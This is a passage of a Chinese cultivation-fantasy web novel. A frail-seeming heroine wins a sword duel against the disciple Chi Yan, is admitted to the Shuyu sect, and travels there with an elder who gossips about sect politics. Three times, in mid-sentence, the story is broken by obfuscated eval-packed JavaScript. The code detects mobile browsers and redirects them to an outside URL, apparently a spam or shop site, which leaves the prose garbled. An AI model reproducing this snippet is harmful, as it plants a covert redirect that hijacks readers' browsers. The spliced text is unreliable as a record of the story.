这下池砚的好奇心便被勾了起来,他方才有意使了下品步法寻风步。按理说,不入宗门的散修应接触不到什么步法剑技,而若不用步法,纵然是同级修士,要跟上他,该十分吃力才是。 可她看起来游刃有余,果然是“奇人”。 那还能怎样,大力出奇迹。温泠淼藏在裤腿下的灵穴全点了,她是没有步法,但有一身使不完的力气,这点小伎俩难不住她。 “在下漱玉外门第十五弟子,池砚,敢问姑娘名号?”池砚伸出右手,微微躬身,清亮锐利的眼看向她,像在等待什么。 温泠淼上下打量他几眼,才反应过来书中正派修士切磋好像是有这条规矩,挠了挠头,讪笑着伸出手。 二人右手虚虚相握,一触即分。“无门无派,名字的话,叫我温凌即可。” 不知何时,她藏在身后的左手食指上多了枚形状简朴的戒指。 池砚的手干燥温热,虎口处布了糙厚的茧,该是练剑多年。同王麻子这类野路子出身的散修不同,他战斗经验应没那么丰富,但背靠宗门,难免有功法剑技傍身。温泠淼目光微闪,在面皮上挂着的笑间,谨慎地算起取胜之道。 打这一场,是她在灵根测试失利时想出的备选方案。在衡量漱玉弟子实力后,温泠淼有自信,无论比试输赢,她展露出的能力,漱玉应该不舍得错过。 “温凌”的手如死去多时的尸体般冰冷,刚一碰触,便把池砚吓了一跳。他再细看过去,就见这手没有剑茧,皮肤极薄,其下覆着的青色血脉清晰可见,一摸便知不常习武。 或者说,她整个人相较寻常修士,都太枯瘦了些,端丽的眉眼缠着病气,怎么看都不是打架的料子。加之她性子单纯,池砚脑子一转,便猜这人该是因着身体原因,常年在家中养病修炼,无暇顾及其他。 但凭着残缺的灵根,她居然也修到了练气五层,应是付出了远超常人的努力。想到此,池砚心中对“温凌”多了分欣赏,大不了等会他放放水,把人放进宗门便是。 不过,在此之前,得先让他打个痛快。 一个握手间,二人心里都有了计较。池砚先退一步,拔剑出鞘,剑尖端得工整平稳,动作行云流水,赏心悦目。 温泠淼瞧着他那柄雪亮的长剑,比第三城集市上最好的剑还神气不少,不由嘴角一扯,将腰间挂着的凡铁剑也抽了出来。 一见她这随意绵软的出剑动作,池砚就觉太阳穴一跳,再看到她手中那剑,他的头便痛了起来。 好家伙,这剑,乌漆嘛黑,剑身粗糙,连形都没整,看着像从哪个三流铁匠铺里抢劫的半成品。更让人无语的是,不知温凌先前拿它去砍了什么,剑身上已然豁了七八个口子,哪还是能用的样子。 就算是柄破烂凡铁剑,也不能这样疏于爱护啊!池砚心中咆哮,他现在彻底对这场切磋失去兴趣,只想好好逮住此人教育一番。 温泠淼却不管他怎么想,剑一出鞘,右臂灵穴便全数点起,身形骤然逼近,一剑就朝池砚当头劈下。 心性急躁,不是学剑的好料子。池砚心中又下一道评判,他兴致缺缺地架起剑身,想着把她这剑先挡了。只是下一瞬,他面上便换了骇然之色。 池砚抬起的剑上,灵力已被震散三分。温泠淼这一劈,看似朴素,力道却蛮横至极,连他都险些招架不住。 他眼睛狠狠一眯,先前他看温凌用剑的架势,连才学会拿剑的小孩都不如,心下便松懈了些。哪知这看似病弱的身躯中,竟能爆发出如此强劲的力量。 是自己先入为主,小看了她。池砚为自己先前的评判感到羞愧,他按下心中杂念,正视起眼前这个对手。 温泠淼一击得逞,轻笑一声,转劈为挑,不给池砚多想的时间,就压着他打了起来。 二人一息之间,就过去数十招,池砚猛然发现,他竟在她手中讨不到半点优势。 此人攻势好凶,虽然她用剑并不圆融,浪费不少力气。但奈何她力气实在是大,挥霍的几分,压根算不了什么。 而且她出招简直是想打哪里就打哪里,毫无章法,完全料不到下一剑将从哪里刺来,这让习惯了和宗门弟子对练的池砚颇为难受。 就算她每一招都漏了许多夫子上课时指的破绽,但“温凌”进退之间,节奏又险又急,逼得池砚不得不跟着她的步调走,好不容易见了破绽,穷于拆招间,时机便转瞬溜走了,可谓十分憋屈。 但池砚也并非是吃素的,憋屈是憋屈,却也见招拆招,将“温凌”的招数尽数防住。他压下心底烦躁,耐心地观察应对着。 看着看着,池砚便瞧出了些规律,心下一喜,剑光大盛,转守为攻。 在池砚自以为摸清了她的招数时,安知温泠淼其实也是在试他,几次交手,便将他的实力估了个七七八八。 她全亮的灵穴,是对上同级修士最大的优势,若只拼速度和力道,温泠淼要比他要强上夸张的四成。但池砚剑使得确实不错,将这个差距弥补了不少。 不过,池砚就像老派的优等生,虽潜心钻研,但也太过一板一眼。仿佛只是为了完美地完成剑招,却不去思考为何要用这剑招。比起王麻子这只在生死关头历练出的老狐狸,要好应对得多。 那么,目前取胜最大的阻碍,便是他的剑技了。 温泠淼打定了逼他用出剑技看看的主意。便佯装被池砚看破,在他的攻势下节节败退,连匆忙抬剑挡的几下,都在重复之前的路数。 池砚心中暗笑,果然她只是个野路子,先前自己只是被没见过的招式唬住,如今熟了,也不过如此。 他剑风一转,直取凡铁剑正中灵力还未来得及流转之处。这一下打得“温凌”差点将剑脱手,面露惊骇,飞身暴退,险险躲过,却也将前身门户大开。 池砚哪里舍得错过这个机会,脚下步法运转,直直追来,剑伸身前,压上全部力道就朝她刺去。 只是下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池砚已经打得气血上涌,最开始想的放水早被抛到九霄云外。又见她剑上力道渐软,于是精神大震,气劲更盛,呈全面压制之势。 最后,池砚抓住温泠淼剑上灵气涣散的空隙,右臂灵穴又是亮起。不过此次,剑尖分出的七道剑影不再护他身周,而是瞄准凡铁剑上细微一点,一剑叠一剑攻去。 这凡铁铸的剑失了温泠淼灵力庇佑,哪里经得住这样霸道的攻势,在第五剑下去时,便“吭”地一声碎作两段。 温泠淼武器被斩,不过强弩之末,只能最后亮起双腿灵穴,四处逃窜。 胜利在望,池砚趁势追击,却猛然发现这人速度越来越快,身形有如鬼魅,就算他将步法运到极致都捕捉不到。 还没等他悟出此中关窍,却见温泠淼右指一掸,手中断剑被凯格尔掌和飞鸟指加至极速,直冲池砚后脑勺飞来。 同样的招数,一次不中,还来第二次,真当他是傻子?池砚眉尖一挑,又挽出剑花,刚欲用同样的方式抵挡,却猛然发现这断剑的力道不对,比起上次,强了不止一倍,且袭来的方向极为刁钻,正好是他那七剑覆盖不及的空处。 不可能吧,他只出剑一次,这人就能将他研究了三年的剑技看破了?而且她从哪里找的破绽,怎么自己都不知道? 但光凭这一掷,就想让他认输,绝无可能。池砚狠狠咬牙,催动灵脉中灵力逆行,手腕强转,硬生生移了三剑过来,才堪堪将这断剑震偏一寸,擦他耳尖飞过。 生改剑技,代价不可谓不大,他喉头泛上一丝腥甜,正为劫后余生窃喜,心中忽然警铃大作。池砚拼命扭头往身侧看去,就见那道怎么都捉不住的影子右手上灵穴雪亮,灵力在五指凝成黄金般的实体,化掌为爪,穿碎他剩下四道剑风,直取面门。 这碎玉爪来得太快,太出其不意,专挑他应对上一击疲软之际下手。等他注意到时,这道真正致命的攻势已至面前一尺。而他此时右臂酸软,灵力滞涩,再挡不住。 池砚本能地闭上双眼。 想象中的疼痛并未到来,他眼皮微动,疑惑地睁开,就见那爪迫到眼前半寸,堪堪停住。 爪上灵力一震,便被轻巧散去,只余一道清风拂他眉睫。 温泠淼收回手,好似在嫌弃打斗脏了她的麻布斗篷似的,在身上四处拍拍,边掸尘土,边笑嘻嘻地道,“我赢了是吧,这下我进你们宗门,该没人能说不了。” 她袭得太凶,让池砚在惊慌中忘了这不过是一场点到即止的切磋。 从那应是幻觉的死亡阴影下缓了口气后,再听这人一句不着四六的话,池砚心里又悔又恼,她出的都是些什么不入流招数,要正正当当比剑,他光挥砍一招就学了三种,肯定不会输。 反观温凌,剑使得不成样子,剑技不会,倒弄些街头混混打架的技俩,他怎么也想不明白,自己是如何输的。 就在此时,城墙脚下一处阴影蠕动着长出手脚,不一会,竟从其中脱胎出来一个人形,是一身材矮小的老头。 小老头似是看得十分尽兴,抚掌而笑,高声赞扬道:“好!打得好!” 21. 启程 是谁?藏得如此之近,而她此前竟一点异样都没察觉,温泠淼寒毛根根竖起,手中又暗扣一枚摆件,不动声色地转头望去。 却见身旁的池砚面色青白变换,仔细一看,竟是有些心虚。他上前一步,宛如被霜打过的蔫菜,耷拉着眉眼,收剑恭敬道:“星火长老好。” 原来是漱玉的长老,温泠淼心中长舒口气,将暴发户摆件悄悄收回了储物戒中。 紧张感一过,她才得以仔细观察来人。老头身材矮小,加之体态佝偻,发根稀疏的头顶只能堪堪到她腰际,但精神头看着极好,红光满面,眉须飞扬,宛若顽童。 美中不足的是,他嘴角长须上滴滴答答淌着面汤和菜渣,好像饿鬼掉进了面碗里,被人揪着头发扯出来一样。温泠淼虽说没有洁癖,却也被结结实实吓了一跳,眉头微微皱起。 小老头似乎感受到了她的退缩,毫不在意地指尖一掐,手上便凭空捏了道符篆。他再两指一搓,符篆无风自燃。刹那间,长须和衣衫都被拂面而来的灵力清整得干干净净,终于是有了点仙人道长样子。 他蹦蹦跳跳地跑到二人之间,先是稀罕地绕着温泠淼上看下看,十分满意道:“小姑娘不简单啊。” “你堂堂正正赢了比试,确实是比我这脑袋一根筋的弟子强,入我宗门,理所应当。” 他眯着笑眼夸完了,又转过头去,板着脸唤道:“池砚。” “在。”池砚有气无力地应了一声。 “出来一趟,收了这么个有意思的弟子,你小子难过什么。”小老头长眉一竖,恨铁不成钢道,“看到没有,真正的战斗,就要像这小姑娘一样,头脑灵活,无所不用,别想那些有的没的,先赢再说。你们一个二个的,天天在莲台比划,怎么偏偏是把剑招学死了呢。” “况且,人家打牌都带三分脑子,同一个招数,你还能连中两次。对手一加些变化,多算你几步,你就不知如何应对了。” 池砚再怎么一根筋,也被长老点醒了几分,他讶异地转向温泠淼,却见她只是傻笑着挠挠头,看不出半点心思。 “哪里哪里,长老您过誉了。我也就是想到什么使什么,不过是以前常跟人在巷尾打架,学的偏门路数侥幸派上了用场。池公子剑练得不错,若再比一次,输的只怕要是我了。”温泠淼摊摊手,好看的眉眼弯起,说得十分真挚。 既摘开自己,又顺带恭维漱玉弟子,再呵护一下池砚摇摇欲坠的自尊心。温泠淼对自己的临场应变相当满意。 开玩笑,再让这位星火长老揭下去,她的单纯人设就要立不住了。 “你先别说话,”哪知,小老头压根不领情,回头刮她一眼,吹着胡子说,“等你进了宗门,给我从拿剑开始好好练。” 温泠淼只能缩着头嘿嘿讪笑。 “至于你呢,”小老头再蹦跳着把两截断剑捡了回来,一起塞到池砚手中,随口交代道,“等回了翠海,再去给小姑娘打把新剑,就当做欢迎礼了。” 池砚唯唯诺诺地接下,从衣角处撕了块布料,将两截断剑仔细包好,放回储物袋中。 温泠淼看着原本张扬开朗的青年在这小老头面前,怕得跟个鹌鹑似的,不由扑哧一笑。 池砚趁小老头不注意,恶狠狠地回她一眼,似是在说等你进了宗门就会懂了,都是身不由己。 - 切磋结果已定,三人便打道回城。只是比起来时你追我赶的急促,如今步伐要悠闲不少。至于罪魁祸首,自然是走在前头的星火。 小老头全然颠覆了温泠淼心中宗门长老的稳重印象,这摸摸那看看,全然是年不过十岁的孩童心性。 此时,他正停在煎蛋饼的摊子前,同摊主大娘吵是不是给他少加了份葱末。 池砚到底是武痴,又被长老当头点了一顿,心里最开始那点不甘也慢慢被消化殆尽。他咂摸一下,想着果然还是宗外能人奇招多,自己执着于剑,到底是一叶障目了,便打起虚心请教的主意。 他逮着长老不注意的空隙,刻意脚慢一步,凑到温泠淼身侧,搓搓手问道:“温姑娘,那个,能不能问问你那些招式都是怎么学的?巷尾打架是怎么个打法,你说,我若是现在留在城里,找人切磋一顿,是不是也可以有所精进?” 这池师兄,原来是真的一根筋啊,温泠淼有些无言,眼皮一跳,面上的笑都差点挂不住。 但以后日子还长,人设不能崩。 她佯装虚弱地咳嗽一声,顺带清了清嗓子,开始侃侃而谈:“这故事说来长了。我父亲去得早,走时还背了赌债,我自小就与身体不好的母亲相依为命。” “我们本以为送走了老赌鬼,便能过上几天清静日子。奈何讨债的总是找上门来,前几个月还能还得起,后来实在担不动,便只能挨打了。” “你别说,打着打着,我还摸出了些门道,”她眼睫微微垂下,虽然唇边挂着弧度,眼里却含了一丝转瞬即逝的怅然,“最开始,我打不过他们,只能在巷尾四处逃窜。挨完打便抓紧一切时间拼命修炼。到了最后,我揪着讨债的头发一个个给打了回去。能有这身手,我还得感谢他们。” 池砚一听,心中愧疚陡然升起,他想过“温凌”的来路必然少不了辛苦,却没想到竟是这样惨痛,不由道歉说,“对不起,我本意不是想要戳姑娘痛处。” “不过,漱玉宗里氛围极好,上到长老,下至弟子,都十分爱护彼此,希望姑娘日后能在漱玉过得开心自在。” “不必抱歉,这已经是很远的事了。自从我一人能把他们十个都打走后,就再没人能找我们麻烦。”温泠淼有些乐了,捞起袖子,展示手臂上优美的肌肉线条,咧嘴得意道,“池公子要想学这些,不必舍近求远,等进了漱玉常跟我切磋即可。到时也要麻烦你多教些剑法给我了。” “不麻烦,求之不得。”池砚拍着胸脯保证,又偷偷看了眼她细得异常的手臂,百思不得其解那股巨力到底是从哪里来的。 不知是否是错觉,在二人谈话间,前面吵得正欢的小老头似乎回头看了一眼。 - 等三人回到漱玉驻地时,漱玉又多了三位预备弟子,加上她,总共是收了九人。 温泠淼目光一动,却感觉有些奇怪,她怎么记得原书中说,漱玉规模极小,一共只一位长老,五十弟子而已。 若是一届便能招收近十人入宗,又怎会只有五十的规模?她原先见言刀说漱玉要求不高,本以为是不受人欢迎,前来参选的人数不多的缘故,可如今看来,也并不是这个原因。 罢了,等进到漱玉,还有什么幺蛾子,她一看便知。 百无聊赖守着摊子的李真一抬眼,就见小老头生龙活虎地跑来,手里还抓着张蛋饼。又看到他身后平安回来的二人,眼睛亮了起来,悄悄把小人书收了回去。 她再细看过去,却发现池砚神色有些灰败,便奇怪地问了一句:“师兄,你这是怎么了?” “小姑娘赢了,过会她同我们一块回翠海。”星火长老替池砚接过话头,解释一句。 “恭喜!”李真冲过去,拉住温泠淼的手,真心实意地祝贺道。 自然,她没注意到池砚的脸色更是灰败几分。 距离大选结束还有半个时辰,温泠淼谢过李真后,自觉混入孩子堆中,无所事事地一个个打量过去。不料,却真给她看到了个熟人。 这站在最边上,参不入其他孩子话题的男孩,不就是在咸池排队时,恰好在楚刀前一位那个?温泠淼感兴趣地挑了挑眉,他怎会拼咸池不得,一下子落到这最边角的漱玉来了。 男孩也认出了她,惊叫道:“你,你怎么会在这里,你不是陪妹妹去考咸池的吗?” “我看着就这么不像参选的吗?”温泠淼在这话题上屡战屡败,无奈扶额道,“我妹是天才,进咸池去了。我比较普通,只能来这里碰碰运气。” 男孩总觉得她这番话有什么不对,但绞尽脑汁也没能挑出什么错处,只能似懂非懂地点点头。 看来这小孩比人精小女孩好骗一些,温泠淼这次开心了,眼睛笑成一线,循循善诱问道,“你也是,怎么会在这,咸池进不去,总能去下九吧?” “你怎跟我娘亲说的话一模一样,”男孩不满地撅起嘴,“我同她说,做不了凤尾,那便去当鸡头。若进下九,我不一定能当内门弟子,但在漱玉就肯定行。” “而且漱玉在第三城辖地,来这,我日后还能常回家看看。” 倒是个有主见的孩子,大概就是考清华北大未果,最终挑了个离家近的普通大学。温泠淼在心中自动换算,虽然她并不是很赞同这个决定,但也能理解。 她顿了顿,脑中灵光一闪,继续追问道:“你当时进咸池帐篷,有没有见到一个银发老太太,她可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413797|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有同你说过什么?” “哪有什么老太太,”男孩奇怪地看她一眼,“我当时只见了个提着灯的大哥哥,让我去看他手中那什么照雪灯。我凑过去,瞧了半天都没见着什么名堂,最后还给我直接看晕过去。” 提起在咸池的事,他小脸皱成一团,一副可怜巴巴样子:“结果我一从地上醒来,就被说什么命数不合赶出去了。” 是每个人在帐篷中所见都不同吗,温泠淼眉微微蹙起,莫非她们遇上的是照雪灯的器灵? “你呢,怎么是跟那什么长老一起回来的?”小孩子情绪过得快,男孩说完了伤心事,便将悲伤抛到了脑后去,睁大好奇的眼,反问道。 “我年龄大了一些,要走特殊考核。”温泠淼长话短说。 “厉害!”男孩伸出大拇指,“我叫金野,我们以后就是一个宗门的了,到时一起回城里玩,我带你去我娘亲开的面馆吃!” - 傍晚,橙红的夕阳落入万顷绿野尽头,天地澄澈,穹顶从橘黄过渡到浅绿,再到东边沉寂的蓝色。那方,已能看到星子在闪烁细小的光芒。 银色巨阵下,持续了一天的喧嚣终于逐渐散去。大选结束,宗门弟子麻利地收起摊子,看热闹的人群像浅滩上细密的溪水,分作万股流入各自家中。 “报长老,本次大选共入选九人。”李真一边给池砚使眼色,让他将旗帜和晶簇收入储物袋里,一边对着名册,朗声汇报道,“其中上品灵根一人,中品灵根二人,下品灵根五人。还有一人灵根,呃,残缺,但通过特殊考核,得以选入漱玉。” “好,好。”星火长老抚掌而笑,慈祥的目光扫过跟在李真身后的孩子们。 孩子们各个挺直了脊背,卯足了劲想在长老心中留个好印象。 小老头却不问上品灵根,中品灵根都是哪位,仿若毫不在意这些。他只把孩子们看过一遍,就去继续啃烤串了。不一会,见摊子已收拾完毕,他便招招手让大伙跟上,转头向城外走去。 温泠淼让激动的孩子们走在前面,叽叽喳喳烦着星火长老。自己留到最后,同垫尾的李真池砚一起。 在一行人跃下皓月台前,周身忽然又轰动一片。她回头望去,远远见到一位渊山弟子把插在驻地上的剑拔起,不知手中掐了个什么决,那剑骤然变得同晞月的白玉楼阁般大。 渊山弟子再一挥手,巨剑便驮着他们几人升上天空,一瞬便消失在南方天际外。 他们,好像这次一个人都没招到。温泠淼微微眯起眼睛。 晞月自然也不甘于后,在众人的惊叹声中,白玉楼阁整个拔起,驾着祥云,向东海之外的悬京飞去。 咸池弟子对他们的排场不屑一顾,拍出一张阵盘,直接将驻地上的市集连着弟子们一同传送走了。 其他宗门也都各显神通,有乘坐灵舟的,有招来一群鹤鸟当坐骑的。一时间,皓月台上各种法器升起,宛如八仙过海,热闹无比。 在这时,温泠淼才对修仙世界的万千神奇有了实感。 她就像第一次见到第三城那样,紧紧盯着天空,不肯移开目光,眼里闪烁着亮晶晶的惊奇与兴奋,就连苍白面颊上,都泛起难得的红晕。 身后看厌了这场面的李真与池砚微微发愣,对视一眼,露出会心的笑容。 - 与其余宗门不同,星火长老并不急于召出法器,而是先领着他们走到城外,再七拐八拐进了一处隐蔽的林中。 他把最后一串烤鸡胸脯送入嘴里,在衣衫上擦了擦手,才从腰间摸出张卷轴,指尖一掐。卷轴迎风展开,竟成了张能站数十人的飞毯。 一行人相继踩了上去,孩子们瞪大眼睛,看着脚下的桃花山水图,这踩踩,那踢踢,毛茸茸的小脑袋聚在一起,议论纷纷。 小老头等他们都站稳了,得意洋洋地吹着胡子,掌心竖起。画卷便凭风飞起,掠过脚下绿野,向南侧苍莽山林行去,不多时,便一头扎入如海云雾中。 温泠淼站在卷轴尾端,遥遥回望视野里越来越模糊的城池,那片在从千年前矗立至今的银色巨阵庇佑下的繁华土地,今日也按时点亮千树灯花。 在一片黯淡的天地间,它如银河落地,星雨喧哗。一颗黑暗中搏动的银色心脏下,流淌着万家灯火,和数不尽的悲欢故事。 不知是否是卷轴上风太烈的缘故,她眼里一阵酸涩。 22. 解剑 温泠淼等那座城池彻底被隔绝在了云雾之外,再也见不着半点烟火光芒,才默默收回目光。 她一回头,便见身边还站了个小小的身影,金野没去加入高兴讨论着画卷神奇的孩子,却是同她一样,痴痴望着身后,眼里饱蓄泪水。 他鼻头微微抽动,见温泠淼看过来,赶忙狼狈地用袖子抹去鼻涕。 是个心地柔软的孩子,温泠淼没有说话,只是温和地笑笑,有这小孩陪着,她心底的感触被冲淡了些。 毕竟又不是再无可能相见,大不了明年的大选她来打工就是。 不知下次见面,那个凡人女孩又会长高多少,她在聚福小馆过的可安稳吗。 “咳咳,距离漱玉,还需约莫两个时辰。”卷轴最前方,星火老头负手而立,咳嗽两声,将众人注意都吸引到身上,慢悠悠地道,“老夫就趁这个时间,王婆卖瓜,做个简单介绍。” 池砚和李真二人在星火身后立着,各提灯一盏,神色肃穆。 气氛一紧张,孩子们叽叽喳喳的喧闹便停了下来,只听见刀刮般的夜风呼啸,和星火嘶哑的声音。 “漱玉宗门坐落第三城辖地,长右山脉中,依山中神湖翠海而建,共占九座山头。有时,我们也会直称宗门所在为翠海。” “漱玉一贯以小而精为主旨,门内只有三位长老,十位各司其职的管事,九十四位弟子,其中,内门弟子共十六名。” “三位长老中,大长老亦是宗主,姓甘名棠。我呢,则是二长老星火。当然,我知道你们肯定看我是个老头,觉得配不上这个好名字,所以随意称呼即可。”星火笑眯眯地捋着胡子,面容一派慈祥,“三长老姓谢,名峥嵘。说到她,老夫得多啰嗦几句,她脾气古怪得很,你们到时小心点,要把人惹着了,我可救不了你。” 星火逗趣的话惹得孩子们大笑起来,温泠淼随着他们笑了几声,弯着的眼中却闪过一丝异色。 三位长老,九十四名弟子?怎么和原书内容对不上呢? 难道是她数年没看,记忆出了差池的缘故?温泠淼沉着眸子,不,绝无可能,因为带出这个信息的,是一个她印象极深的爽点。 五十年后,宗门大比开始。当时的漱玉,甚至不在参赛名单上。 那日,八百仙门初试逐鹿台,驾云踏剑的弟子们,比饮马山上争春盛放的千树桃花还要热闹。 沸反盈天中,有一人踩着薄薄碎雪,踩过无人愿走的千级石阶,不急不徐行来。 孤身只影,对台上万千修士,长剑出鞘,天地噤声。 “你们似乎忘了什么。”她话声如脆冰掷地,极轻极冷,“第三城,翠海漱玉,内门第一谢星君请战。” 一瞬,滚滚威压席卷过境,淹没在场所有仙门弟子。主办的咸池一边暗骂哪冒出的妖孽,一边谄媚地滚来补录宗门情况。 漱玉的人数便是这时提到的。 莫非这几十年间出了什么变故,分化?内乱?温泠淼心中飞速过了几个猜测,却无法得到定论。 看来情况比她原先设想的要复杂。 星火等这群稚童笑完了,老脸一板,严肃道:“但你们莫要以为,大选过了便万事大吉。” 孩子们脸上喜色骤然褪去,惶恐地等着接下来的话。 “漱玉收人,不看灵根,有即可;不问出身,凡人世家,一视同仁。我们只看二字,心性。” “接下来的一月,是你们的候选期,期间可同正式弟子一起参与宗门活动,但不能踏入令丘禁地。”星火淡淡道,“一个月后,将会进行正式考核。不过者,请出宗门,消去记忆,永不得再入。” 怪不得人这么少,原来还有第二关等着在。温泠淼眉心微蹙,心性,这种看不见摸不着的东西从何考起,怎样的心性才会合漱玉口味?若要求高到同谢星君一样,她不如现在就麻溜滚蛋。 但她偷眼看了下池砚,又觉得这关该没有多难。 卷轴上一片沉寂,孩子们被突如其来的正式考核砸了个不知所措,也没了摸索画卷神奇的兴致。 星火却不再理会他们,寻处空地自顾自地坐下,不知从哪摸出只肥厚的烤猪腿,美滋滋撕咬着。 一个高大点的女孩咬咬牙,想着勤奋也是优良心性之一,便一捞衣袍,开始打坐修炼。其他孩子如梦初醒,纷纷悟出此中关窍,争先恐后地盘腿掐诀,吸纳起天地灵气来。 九十四人,也就是说他们九人中,只有不到三个可以通过。自此刻开始,人人都是竞争对手。 金野擦干净脸上哭过的痕迹,也不甘落后地坐下修炼。 最终,九人里只剩一个不会修炼的温泠淼,无所事事地在卷轴上背手闲逛,不忘心中默念体循环肺循环,龟速恢复切磋时耗去的灵力。 温泠淼唇角扯开无奈的弧度,希望如系统所言,能在漱玉里能学到副好功法,不然续航将会成为她战斗中最大的弱点。 等孩子们都合上眼,李真和池砚二人便将灯盏放在卷轴上,围着星火坐下,开始轻声讨论者什么。 可惜风声太大,听不真切,温泠淼好奇心一下被挠了起来,也厚着脸皮凑过去。 星火瞥她一眼,空着的那只手指节屈起,轻叩地上阵盘。她只觉一阵暗风擦耳而过,原先的夜风尖啸不再,取而代之的,是阵中人的细语。 看来是将她也纳入了隔音阵中。 因她与池砚年龄相仿,实力又摆在那,故而三人都没打算真把她当小孩对待。星火此举,相当于默许她加入谈话,李真便往池砚那边挪了挪,给她挤了个位置出来。 不出所料,三人正在聊琉璃楼一事,不过关注点不尽相同。 “老夫终于能休息了。”星火尖齿一合,从猪腿上连皮带肉撕下最肥的一块,嘿嘿一笑,“明年大选,就是谢峥嵘那丫头来咯。” 灯盏下,他拖长的影子宛如野兽,让温泠淼隐隐心惊。 池砚见她面露惊讶,好心解释道:“按理说,宗门大选是星火长老和谢长老轮流负责的。但谢长老脾气喜怒无常,曾与琉璃楼结怨,火烧其半壁,甚至惹动了城里的方家,最后被他们联合城主府镇压了回去。” “最终,谢长老留下琉璃楼还在一日,便不会踏入第三城一步的誓言,把大选的事全推星火长老身上了。” 温泠淼谢过池砚,眼睛一转,倒是觉得这位谢长老有点意思。 她又想起那位同样姓谢的人,心中细小的期待升起,脸上笑容真了几分。 不行,她现在还是门外人,贸然询问一个内门弟子的信息未免太过奇怪。温泠淼给自己浇了盆冷水,按下浮动的心,先挑个最不出错的话题问道: “我听言刀说,这次渊山带头围剿琉璃楼,不少宗门都跟着在。大能斗法实在难得,你们可有机会到近处看看?” 一听这话,池砚便面露遗憾之色:“星火长老去了,我们实力太弱,怕被余波直接碾成碎渣,就留守在城里。” “别问我,我什么都没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413798|200728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。”星火见温泠淼闪闪发光的眼看过来,赶紧摆了摆沾满油光的手,“老夫不善打斗,能做的只有凑个人头。” 温泠淼失望地收回目光。 “上三宗明争暗斗,我们一个隐世小宗去掺合做甚,嫌自己不够显眼是吧。”星火没好气地瞪了回去。 随即,他又伸手捻着胡须,得意洋洋道,“不过老夫也不是全无收获,我躲在最后,听了一耳朵有趣的东西。” “渊山此次只来了一位教剑的夫子,金丹修为。而琉璃楼明面上的金丹就有五个,还有一元婴楼主。他们一宗啃不下这块硬骨头,就想让晞月的化神长老出手帮衬。结果呢,”星火等三双眼睛都牢牢盯在自己身上,把胃口吊足了,才不紧不慢地说下去,“连文心的传音符都请了出马,晞月却只丢过来二十个筑基弟子,把他气得半死。” “那还有咸池呢?”李真忙追问道。 “咸池做得更绝,同渊山明码标价,要元婴没有,要金丹可以,一个三千灵石。” 这,温泠淼嘴角抽了抽,一时不知如何评价。只能说倒挺符合咸池风格。 “修道之人应心怀正义,怎能如此世俗。”闻言,池砚眉头紧皱,颇不赞同。 “嘿,你小子脑袋能不能多转个弯。”星火嫌弃地在池砚头上不轻不重敲了一记,“咸池无论站哪边,都会得罪剩下一位,依他们最终派了四位金丹来看,其实是意在动手的。” 李真恍然大悟道:“也就是说,咸池此举,是因不愿和晞月明面上作对,既帮了渊山,又给他们找台阶下。” “对了,孺子可教也。”星火对李真倒很宽和。 “那晞月为何死活不愿动手?化神长老想灭元婴,又不需花费太多力气。”池砚摸着沾了油花的头发,敢怒不敢言,只能锲而不舍地质疑说,“若只是单纯看不惯渊山,何必把此事做绝,等传出去了,难免会落下不好的名声。” “名声?晞月可不在意凡人间的名声。想要丹药传承灵石,你捏着鼻子也得进去。何况,多少人声讨他们蔑视凡人,高傲自大,等自己有这个天资,还不是梦想着成为高高在上的一部分。”星火冷笑道,不知有意无意,他说着说着,便看了眼一旁安静听着的温泠淼,目光带了些考量。 温泠淼只能猛猛点头,以表赞同。 “至于前一个问题,我猜,是琉璃楼预感大难临头,先一步向宗门势力许诺了些东西,而晞月被触动了。” “所以,明明大选来了这么多人,最终愿意出手的却寥寥无几,真是憋屈。”李真低头长叹,感到一阵茫然无力,“若不是早上那剑,作恶多端的人还不一定会得到惩罚。” “诶你们说,那剑又是从哪里来的?”提到剑,池砚也不纠结头发了,眼中精光闪闪,兴奋莫名,“我听旁人说是路过散修看不顺眼出的手,这时机抓得,也太准了吧!若有机会,真想向这位散修大人请教一二。” 温泠淼停止点头,耳朵竖了起来。 她倒不认为是路过,在她眼中,这是一场从头到尾都计划好的阳谋。 只是她自然不会冒着暴露自己在现场的风险,将猜测全盘托出。 “你小子做点现实的梦吧,这剑是渊山的,”星火眼中闪过一丝暗光,斩钉截铁道,“若世上只剩一人能认出此剑,那就是老夫。” “至纯至凶,煌煌蔽日,胜九天之耀灵,惟厉神剑也。” 话音落下,阵中一片寂静。 三人都长大了嘴。 23. 翠海 传说中,渊山藏有神剑三柄。 第一剑名为蝉翼,为钧天半仙所有。世人都说,这是一柄谬剑。 欺误狂言为谬,上古灵均尊者曾叹世事浑浊不清,留下“蝉翼为重,千钧为轻”的谬言,蝉翼剑名据说正取自此;又因其看着朴素至极,恍若凡剑,未见神奇之处,似乎只作为天人佩剑而闻名,故称谬剑。 蝉翼已有千年未出鞘,是否真如传言,已不可考。 第二剑即为厉神,上古至纯至凶之剑,早在渊山创立前,就已被封铸在天虞山巅的古剑台上。如今,天虞已成渊山禁地,未得渊山认可者,均不得入。 